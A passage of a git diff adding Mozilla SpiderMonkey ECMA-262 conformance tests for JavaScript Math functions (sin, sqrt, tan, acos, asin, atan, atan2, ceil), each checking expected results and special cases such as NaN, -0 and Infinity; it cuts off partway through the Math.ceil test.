+++ b/js/src/tests/ecma/Math/15.8.2.16.js
@@ -0,0 +1,98 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.16.js
+ ECMA Section: 15.8.2.16 sin( x )
+ Description: return an approximation to the sine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.16";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.sin(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.sin.length",
+ 1,
+ Math.sin.length );
+
+new TestCase( SECTION,
+ "Math.sin()",
+ Number.NaN,
+ Math.sin() );
+
+new TestCase( SECTION,
+ "Math.sin(null)",
+ 0,
+ Math.sin(null) );
+
+new TestCase( SECTION,
+ "Math.sin(void 0)",
+ Number.NaN,
+ Math.sin(void 0) );
+
+new TestCase( SECTION,
+ "Math.sin(false)",
+ 0,
+ Math.sin(false) );
+
+new TestCase( SECTION,
+ "Math.sin('2.356194490192')",
+ 0.7071067811865,
+ Math.sin('2.356194490192') );
+
+new TestCase( SECTION,
+ "Math.sin(NaN)",
+ Number.NaN,
+ Math.sin(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.sin(0)",
+ 0,
+ Math.sin(0) );
+
+new TestCase( SECTION,
+ "Math.sin(-0)",
+ -0,
+ Math.sin(-0));
+
+new TestCase( SECTION,
+ "Math.sin(Infinity)",
+ Number.NaN,
+ Math.sin(Number.POSITIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.sin(-Infinity)",
+ Number.NaN,
+ Math.sin(Number.NEGATIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.sin(0.7853981633974)",
+ 0.7071067811865,
+ Math.sin(0.7853981633974));
+
+new TestCase( SECTION,
+ "Math.sin(1.570796326795)",
+ 1,
+ Math.sin(1.570796326795));
+
+new TestCase( SECTION,
+ "Math.sin(2.356194490192)",
+ 0.7071067811865,
+ Math.sin(2.356194490192));
+
+new TestCase( SECTION,
+ "Math.sin(3.14159265359)",
+ 0,
+ Math.sin(3.14159265359));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.17.js b/js/src/tests/ecma/Math/15.8.2.17.js
new file mode 100644
index 000000000..10e176098
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.17.js
@@ -0,0 +1,183 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.17.js
+ ECMA Section: 15.8.2.17 Math.sqrt(x)
+ Description: return an approximation to the squareroot of the argument.
+ special cases:
+ - if x is NaN return NaN
+ - if x < 0 return NaN
+ - if x == 0 return 0
+ - if x == -0 return -0
+ - if x == Infinity return Infinity
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.17";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.sqrt(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.sqrt.length",
+ 1,
+ Math.sqrt.length );
+
+new TestCase( SECTION,
+ "Math.sqrt()",
+ Number.NaN,
+ Math.sqrt() );
+
+new TestCase( SECTION,
+ "Math.sqrt(void 0)",
+ Number.NaN,
+ Math.sqrt(void 0) );
+
+new TestCase( SECTION,
+ "Math.sqrt(null)",
+ 0,
+ Math.sqrt(null) );
+
+new TestCase( SECTION,
+ "Math.sqrt(true)",
+ 1,
+ Math.sqrt(1) );
+
+new TestCase( SECTION,
+ "Math.sqrt(false)",
+ 0,
+ Math.sqrt(false) );
+
+new TestCase( SECTION,
+ "Math.sqrt('225')",
+ 15,
+ Math.sqrt('225') );
+
+new TestCase( SECTION,
+ "Math.sqrt(NaN)",
+ Number.NaN,
+ Math.sqrt(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.sqrt(-Infinity)",
+ Number.NaN,
+ Math.sqrt(Number.NEGATIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.sqrt(-1)",
+ Number.NaN,
+ Math.sqrt(-1));
+
+new TestCase( SECTION,
+ "Math.sqrt(-0.5)",
+ Number.NaN,
+ Math.sqrt(-0.5));
+
+new TestCase( SECTION,
+ "Math.sqrt(0)",
+ 0,
+ Math.sqrt(0));
+
+new TestCase( SECTION,
+ "Math.sqrt(-0)",
+ -0,
+ Math.sqrt(-0));
+
+new TestCase( SECTION,
+ "Infinity/Math.sqrt(-0)",
+ -Infinity,
+ Infinity/Math.sqrt(-0) );
+
+new TestCase( SECTION,
+ "Math.sqrt(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.sqrt(Number.POSITIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.sqrt(1)",
+ 1,
+ Math.sqrt(1));
+
+new TestCase( SECTION,
+ "Math.sqrt(2)",
+ Math.SQRT2,
+ Math.sqrt(2));
+
+new TestCase( SECTION,
+ "Math.sqrt(0.5)",
+ Math.SQRT1_2,
+ Math.sqrt(0.5));
+
+new TestCase( SECTION,
+ "Math.sqrt(4)",
+ 2,
+ Math.sqrt(4));
+
+new TestCase( SECTION,
+ "Math.sqrt(9)",
+ 3,
+ Math.sqrt(9));
+
+new TestCase( SECTION,
+ "Math.sqrt(16)",
+ 4,
+ Math.sqrt(16));
+
+new TestCase( SECTION,
+ "Math.sqrt(25)",
+ 5,
+ Math.sqrt(25));
+
+new TestCase( SECTION,
+ "Math.sqrt(36)",
+ 6,
+ Math.sqrt(36));
+
+new TestCase( SECTION,
+ "Math.sqrt(49)",
+ 7,
+ Math.sqrt(49));
+
+new TestCase( SECTION,
+ "Math.sqrt(64)",
+ 8,
+ Math.sqrt(64));
+
+new TestCase( SECTION,
+ "Math.sqrt(256)",
+ 16,
+ Math.sqrt(256));
+
+new TestCase( SECTION,
+ "Math.sqrt(10000)",
+ 100,
+ Math.sqrt(10000));
+
+new TestCase( SECTION,
+ "Math.sqrt(65536)",
+ 256,
+ Math.sqrt(65536));
+
+new TestCase( SECTION,
+ "Math.sqrt(0.09)",
+ 0.3,
+ Math.sqrt(0.09));
+
+new TestCase( SECTION,
+ "Math.sqrt(0.01)",
+ 0.1,
+ Math.sqrt(0.01));
+
+new TestCase( SECTION,
+ "Math.sqrt(0.00000001)",
+ 0.0001,
+ Math.sqrt(0.00000001));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.18.js b/js/src/tests/ecma/Math/15.8.2.18.js
new file mode 100644
index 000000000..d857599ef
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.18.js
@@ -0,0 +1,131 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.18.js
+ ECMA Section: 15.8.2.18 tan( x )
+ Description: return an approximation to the tan of the
+ argument. argument is expressed in radians
+ special cases:
+ - if x is NaN result is NaN
+ - if x is 0 result is 0
+ - if x is -0 result is -0
+ - if x is Infinity or -Infinity result is NaN
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.18";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.tan(x)";
+var EXCLUDE = "true";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.tan.length",
+ 1,
+ Math.tan.length );
+
+new TestCase( SECTION,
+ "Math.tan()",
+ Number.NaN,
+ Math.tan() );
+
+new TestCase( SECTION,
+ "Math.tan(void 0)",
+ Number.NaN,
+ Math.tan(void 0));
+
+new TestCase( SECTION,
+ "Math.tan(null)",
+ 0,
+ Math.tan(null) );
+
+new TestCase( SECTION,
+ "Math.tan(false)",
+ 0,
+ Math.tan(false) );
+
+new TestCase( SECTION,
+ "Math.tan(NaN)",
+ Number.NaN,
+ Math.tan(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.tan(0)",
+ 0,
+ Math.tan(0));
+
+new TestCase( SECTION,
+ "Math.tan(-0)",
+ -0,
+ Math.tan(-0));
+
+new TestCase( SECTION,
+ "Math.tan(Infinity)",
+ Number.NaN,
+ Math.tan(Number.POSITIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.tan(-Infinity)",
+ Number.NaN,
+ Math.tan(Number.NEGATIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.tan(Math.PI/4)",
+ 1,
+ Math.tan(Math.PI/4));
+
+new TestCase( SECTION,
+ "Math.tan(3*Math.PI/4)",
+ -1,
+ Math.tan(3*Math.PI/4));
+
+new TestCase( SECTION,
+ "Math.tan(Math.PI)",
+ -0,
+ Math.tan(Math.PI));
+
+new TestCase( SECTION,
+ "Math.tan(5*Math.PI/4)",
+ 1,
+ Math.tan(5*Math.PI/4));
+
+new TestCase( SECTION,
+ "Math.tan(7*Math.PI/4)",
+ -1,
+ Math.tan(7*Math.PI/4));
+
+new TestCase( SECTION,
+ "Infinity/Math.tan(-0)",
+ -Infinity,
+ Infinity/Math.tan(-0) );
+
+/*
+ Arctan (x) ~ PI/2 - 1/x for large x. For x = 1.6x10^16, 1/x is about the last binary digit of double precision PI/2.
+ That is to say, perturbing PI/2 by this much is about the smallest rounding error possible.
+
+ This suggests that the answer Christine is getting and a real Infinity are "adjacent" results from the tangent function. I
+ suspect that tan (PI/2 + one ulp) is a negative result about the same size as tan (PI/2) and that this pair are the closest
+ results to infinity that the algorithm can deliver.
+
+ In any case, my call is that the answer we're seeing is "right". I suggest the test pass on any result this size or larger.
+ = C =
+*/
+
+new TestCase( SECTION,
+ "Math.tan(3*Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(3*Math.PI/2) >= 5443000000000000 );
+
+new TestCase( SECTION,
+ "Math.tan(Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(Math.PI/2) >= 5443000000000000 );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.2.js b/js/src/tests/ecma/Math/15.8.2.2.js
new file mode 100644
index 000000000..0f72734d2
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.2.js
@@ -0,0 +1,122 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.2.js
+ ECMA Section: 15.8.2.2 acos( x )
+ Description: return an approximation to the arc cosine of the
+ argument. the result is expressed in radians and
+ range is from +0 to +PI. special cases:
+ - if x is NaN, return NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == 1, the result is +0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+var SECTION = "15.8.2.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.acos()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.acos.length",
+ 1,
+ Math.acos.length );
+
+new TestCase( SECTION,
+ "Math.acos(void 0)",
+ Number.NaN,
+ Math.acos(void 0) );
+
+new TestCase( SECTION,
+ "Math.acos()",
+ Number.NaN,
+ Math.acos() );
+
+new TestCase( SECTION,
+ "Math.acos(null)",
+ Math.PI/2,
+ Math.acos(null) );
+
+new TestCase( SECTION,
+ "Math.acos(NaN)",
+ Number.NaN,
+ Math.acos(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.acos(a string)",
+ Number.NaN,
+ Math.acos("a string") );
+
+new TestCase( SECTION,
+ "Math.acos('0')",
+ Math.PI/2,
+ Math.acos('0') );
+
+new TestCase( SECTION,
+ "Math.acos('1')",
+ 0,
+ Math.acos('1') );
+
+new TestCase( SECTION,
+ "Math.acos('-1')",
+ Math.PI,
+ Math.acos('-1') );
+
+new TestCase( SECTION,
+ "Math.acos(1.00000001)",
+ Number.NaN,
+ Math.acos(1.00000001) );
+
+new TestCase( SECTION,
+ "Math.acos(11.00000001)",
+ Number.NaN,
+ Math.acos(-1.00000001) );
+
+new TestCase( SECTION,
+ "Math.acos(1)",
+ 0,
+ Math.acos(1) );
+
+new TestCase( SECTION,
+ "Math.acos(-1)",
+ Math.PI,
+ Math.acos(-1) );
+
+new TestCase( SECTION,
+ "Math.acos(0)",
+ Math.PI/2,
+ Math.acos(0) );
+
+new TestCase( SECTION,
+ "Math.acos(-0)",
+ Math.PI/2,
+ Math.acos(-0) );
+
+new TestCase( SECTION,
+ "Math.acos(Math.SQRT1_2)",
+ Math.PI/4,
+ Math.acos(Math.SQRT1_2));
+
+new TestCase( SECTION,
+ "Math.acos(-Math.SQRT1_2)",
+ Math.PI/4*3,
+ Math.acos(-Math.SQRT1_2));
+
+new TestCase( SECTION,
+ "Math.acos(0.9999619230642)",
+ Math.PI/360,
+ Math.acos(0.9999619230642));
+
+new TestCase( SECTION,
+ "Math.acos(-3.0)",
+ Number.NaN,
+ Math.acos(-3.0));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.3.js b/js/src/tests/ecma/Math/15.8.2.3.js
new file mode 100644
index 000000000..f4f61d5a3
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.3.js
@@ -0,0 +1,124 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.3.js
+ ECMA Section: 15.8.2.3 asin( x )
+ Description: return an approximation to the arc sine of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.asin()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.asin()",
+ Number.NaN,
+ Math.asin() );
+
+new TestCase( SECTION,
+ "Math.asin(void 0)",
+ Number.NaN,
+ Math.asin(void 0) );
+
+new TestCase( SECTION,
+ "Math.asin(null)",
+ 0,
+ Math.asin(null) );
+
+new TestCase( SECTION,
+ "Math.asin(NaN)",
+ Number.NaN,
+ Math.asin(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.asin('string')",
+ Number.NaN,
+ Math.asin("string") );
+
+new TestCase( SECTION,
+ "Math.asin('0')",
+ 0,
+ Math.asin("0") );
+
+new TestCase( SECTION,
+ "Math.asin('1')",
+ Math.PI/2,
+ Math.asin("1") );
+
+new TestCase( SECTION,
+ "Math.asin('-1')",
+ -Math.PI/2,
+ Math.asin("-1") );
+
+new TestCase( SECTION,
+ "Math.asin(Math.SQRT1_2+'')",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2+'') );
+
+new TestCase( SECTION,
+ "Math.asin(-Math.SQRT1_2+'')",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2+'') );
+
+new TestCase( SECTION,
+ "Math.asin(1.000001)",
+ Number.NaN,
+ Math.asin(1.000001) );
+
+new TestCase( SECTION,
+ "Math.asin(-1.000001)",
+ Number.NaN,
+ Math.asin(-1.000001) );
+
+new TestCase( SECTION,
+ "Math.asin(0)",
+ 0,
+ Math.asin(0) );
+
+new TestCase( SECTION,
+ "Math.asin(-0)",
+ -0,
+ Math.asin(-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.asin(-0)",
+ -Infinity,
+ Infinity/Math.asin(-0) );
+
+new TestCase( SECTION,
+ "Math.asin(1)",
+ Math.PI/2,
+ Math.asin(1) );
+
+new TestCase( SECTION,
+ "Math.asin(-1)",
+ -Math.PI/2,
+ Math.asin(-1) );
+
+new TestCase( SECTION,
+ "Math.asin(Math.SQRT1_2))",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2) );
+
+new TestCase( SECTION,
+ "Math.asin(-Math.SQRT1_2))",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.4.js b/js/src/tests/ecma/Math/15.8.2.4.js
new file mode 100644
index 000000000..5d73424a8
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.4.js
@@ -0,0 +1,122 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.4.js
+ ECMA Section: 15.8.2.4 atan( x )
+ Description: return an approximation to the arc tangent of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ - if x == +Infinity, the result is approximately +PI/2
+ - if x == -Infinity, the result is approximately -PI/2
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.4";
+var VERSION = "ECMA_1";
+var TITLE = "Math.atan()";
+var BUGNUMBER="77391";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.atan.length",
+ 1,
+ Math.atan.length );
+
+new TestCase( SECTION,
+ "Math.atan()",
+ Number.NaN,
+ Math.atan() );
+
+new TestCase( SECTION,
+ "Math.atan(void 0)",
+ Number.NaN,
+ Math.atan(void 0) );
+
+new TestCase( SECTION,
+ "Math.atan(null)",
+ 0,
+ Math.atan(null) );
+
+new TestCase( SECTION,
+ "Math.atan(NaN)",
+ Number.NaN,
+ Math.atan(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.atan('a string')",
+ Number.NaN,
+ Math.atan("a string") );
+
+new TestCase( SECTION,
+ "Math.atan('0')",
+ 0,
+ Math.atan('0') );
+
+new TestCase( SECTION,
+ "Math.atan('1')",
+ Math.PI/4,
+ Math.atan('1') );
+
+new TestCase( SECTION,
+ "Math.atan('-1')",
+ -Math.PI/4,
+ Math.atan('-1') );
+
+new TestCase( SECTION,
+ "Math.atan('Infinity)",
+ Math.PI/2,
+ Math.atan('Infinity') );
+
+new TestCase( SECTION,
+ "Math.atan('-Infinity)",
+ -Math.PI/2,
+ Math.atan('-Infinity') );
+
+new TestCase( SECTION,
+ "Math.atan(0)",
+ 0,
+ Math.atan(0) );
+
+new TestCase( SECTION,
+ "Math.atan(-0)",
+ -0,
+ Math.atan(-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.atan(-0)",
+ -Infinity,
+ Infinity/Math.atan(-0) );
+
+new TestCase( SECTION,
+ "Math.atan(Infinity)",
+ Math.PI/2,
+ Math.atan(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan(-Infinity)",
+ -Math.PI/2,
+ Math.atan(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan(1)",
+ Math.PI/4,
+ Math.atan(1) );
+
+new TestCase( SECTION,
+ "Math.atan(-1)",
+ -Math.PI/4,
+ Math.atan(-1) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.5.js b/js/src/tests/ecma/Math/15.8.2.5.js
new file mode 100644
index 000000000..bae8c688c
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.5.js
@@ -0,0 +1,210 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.5.js
+ ECMA Section: 15.8.2.5 atan2( y, x )
+ Description:
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.5";
+var VERSION = "ECMA_1";
+var TITLE = "Math.atan2(x,y)";
+var BUGNUMBER="76111";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.atan2.length",
+ 2,
+ Math.atan2.length );
+
+new TestCase( SECTION,
+ "Math.atan2(NaN, 0)",
+ Number.NaN,
+ Math.atan2(Number.NaN,0) );
+
+new TestCase( SECTION,
+ "Math.atan2(null, null)",
+ 0,
+ Math.atan2(null, null) );
+
+new TestCase( SECTION,
+ "Math.atan2(void 0, void 0)",
+ Number.NaN,
+ Math.atan2(void 0, void 0) );
+
+new TestCase( SECTION,
+ "Math.atan2()",
+ Number.NaN,
+ Math.atan2() );
+
+new TestCase( SECTION,
+ "Math.atan2(0, NaN)",
+ Number.NaN,
+ Math.atan2(0,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.atan2(1, 0)",
+ Math.PI/2,
+ Math.atan2(1,0) );
+
+new TestCase( SECTION,
+ "Math.atan2(1,-0)",
+ Math.PI/2,
+ Math.atan2(1,-0) );
+
+new TestCase( SECTION,
+ "Math.atan2(0,0.001)",
+ 0,
+ Math.atan2(0,0.001) );
+
+new TestCase( SECTION,
+ "Math.atan2(0,0)",
+ 0,
+ Math.atan2(0,0) );
+
+new TestCase( SECTION,
+ "Math.atan2(0, -0)",
+ Math.PI,
+ Math.atan2(0,-0) );
+
+new TestCase( SECTION,
+ "Math.atan2(0, -1)",
+ Math.PI,
+ Math.atan2(0, -1) );
+
+new TestCase( SECTION,
+ "Math.atan2(-0, 1)",
+ -0,
+ Math.atan2(-0, 1) );
+
+new TestCase( SECTION,
+ "Infinity/Math.atan2(-0, 1)",
+ -Infinity,
+ Infinity/Math.atan2(-0,1) );
+
+new TestCase( SECTION,
+ "Math.atan2(-0, 0)",
+ -0,
+ Math.atan2(-0,0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-0, -0)",
+ -Math.PI,
+ Math.atan2(-0, -0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-0, -1)",
+ -Math.PI,
+ Math.atan2(-0, -1) );
+
+new TestCase( SECTION,
+ "Math.atan2(-1, 0)",
+ -Math.PI/2,
+ Math.atan2(-1, 0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-1, -0)",
+ -Math.PI/2,
+ Math.atan2(-1, -0) );
+
+new TestCase( SECTION,
+ "Math.atan2(1, Infinity)",
+ 0,
+ Math.atan2(1, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(1,-Infinity)",
+ Math.PI,
+ Math.atan2(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(-1, Infinity)",
+ -0,
+ Math.atan2(-1,Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Infinity/Math.atan2(-1, Infinity)",
+ -Infinity,
+ Infinity/Math.atan2(-1,Infinity) );
+
+new TestCase( SECTION,
+ "Math.atan2(-1,-Infinity)",
+ -Math.PI,
+ Math.atan2(-1,Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity, 0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 0) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity, 1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity,-1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-1) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity,-0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity, 0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity,-0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-0) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity, 1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity, -1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-1) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity, Infinity)",
+ Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(Infinity, -Infinity)",
+ 3*Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity, Infinity)",
+ -Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(-Infinity, -Infinity)",
+ -3*Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.atan2(-1, 1)",
+ -Math.PI/4,
+ Math.atan2( -1, 1) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.6.js b/js/src/tests/ecma/Math/15.8.2.6.js
new file mode 100644
index 000000000..1385e63e5
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.6.js
@@ -0,0 +1,198 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.6.js
+ ECMA Section: 15.8.2.6 Math.ceil(x)
+ Description: return the smallest number value that is not less than the
+ argument and is equal to a mathematical integer. if the
+ number is already an integer, return the number itself.
+ special cases:
+ - if x is NaN return NaN
+ - if x = +0 return +0
+ - if x = 0 return -0
+ - if x = Infinity return Infinity
+ - if x = -Infinity return -Infinity
+ - if ( -1 < x < 0 ) return -0
+ also:
+ - the value of Math.ceil(x) == -Math.ceil(-x)
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+var SECTION = "15.8.2.6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.ceil(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.ceil.length",
+ 1,
+ Math.ceil.length );
+
+new TestCase( SECTION,
+ "Math.ceil(NaN)",
+ Number.NaN,
+ Math.ceil(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.ceil(null)",
+ 0,
+ Math.ceil(null) );
+
+new TestCase( SECTION,
+ "Math.ceil()",
+ Number.NaN,
+ Math.ceil() );
+
+new TestCase( SECTION,
+ "Math.ceil(void 0)",
+ Number.NaN,
+ Math.ceil(void 0) );
+
+new TestCase( SECTION,
+ "Math.ceil('0')",
+ 0,
+ Math.ceil('0') );
+
+new TestCase( SECTION,
+ "Math.ceil('-0')",
+ -0,
+ Math.ceil('-0') );
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil('0')",
+ Infinity,
+ Infinity/Math.ceil('0'));
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil('-0')",
+ -Infinity,
+ Infinity/Math.ceil('-0'));
+
+new TestCase( SECTION,
+ "Math.ceil(0)",
+ 0,
+ Math.ceil(0) );
+
+new TestCase( SECTION,
+ "Math.ceil(-0)",
+ -0,
+ Math.ceil(-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil(0)",
+ Infinity,
+ Infinity/Math.ceil(0));
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil(-0)",
+ -Infinity,
+ Infinity/Math.ceil(-0));
+
+
+new TestCase( SECTION,
+ "Math.ceil(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.ceil(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.ceil(-Infinity)",
+ Number.NEGATIVE_INFINITY,
+ Math.ceil(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.ceil(-Number.MIN_VALUE)",
+ -0,
+ Math.ceil(-Number.MIN_VALUE) );
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil(-Number.MIN_VALUE)",
+ -Infinity,
+ Infinity/Math.ceil(-Number.MIN_VALUE) );
+
+new TestCase( SECTION,
+ "Math.ceil(1)",
+ 1,
+ Math.ceil(1) );
+
+new TestCase( SECTION,
+ "Math.ceil(-1)",
+ -1,
+ Math.ceil(-1) );
+
+new TestCase( SECTION,
+ "Math.ceil(-0.9)",
+ -0,
+ Math.ceil(-0.9) );
+
+new TestCase( SECTION,
+ "Infinity/Math.ceil(-0.9)",
+ -Infinity,
+ Infinity/Math.ceil(-0.9) );
+
+new TestCase( SECTION,
+ "Math.ceil(0.9 )",
+ 1,
+ Math.ceil( 0.9) );
+
+new TestCase( SECTION,
+ "Math.ceil(-1.1)",
+ -1,
+ Math.ceil( -1.1));
+
+new TestCase( SECTION,
+ "Math.ceil( 1.1)",
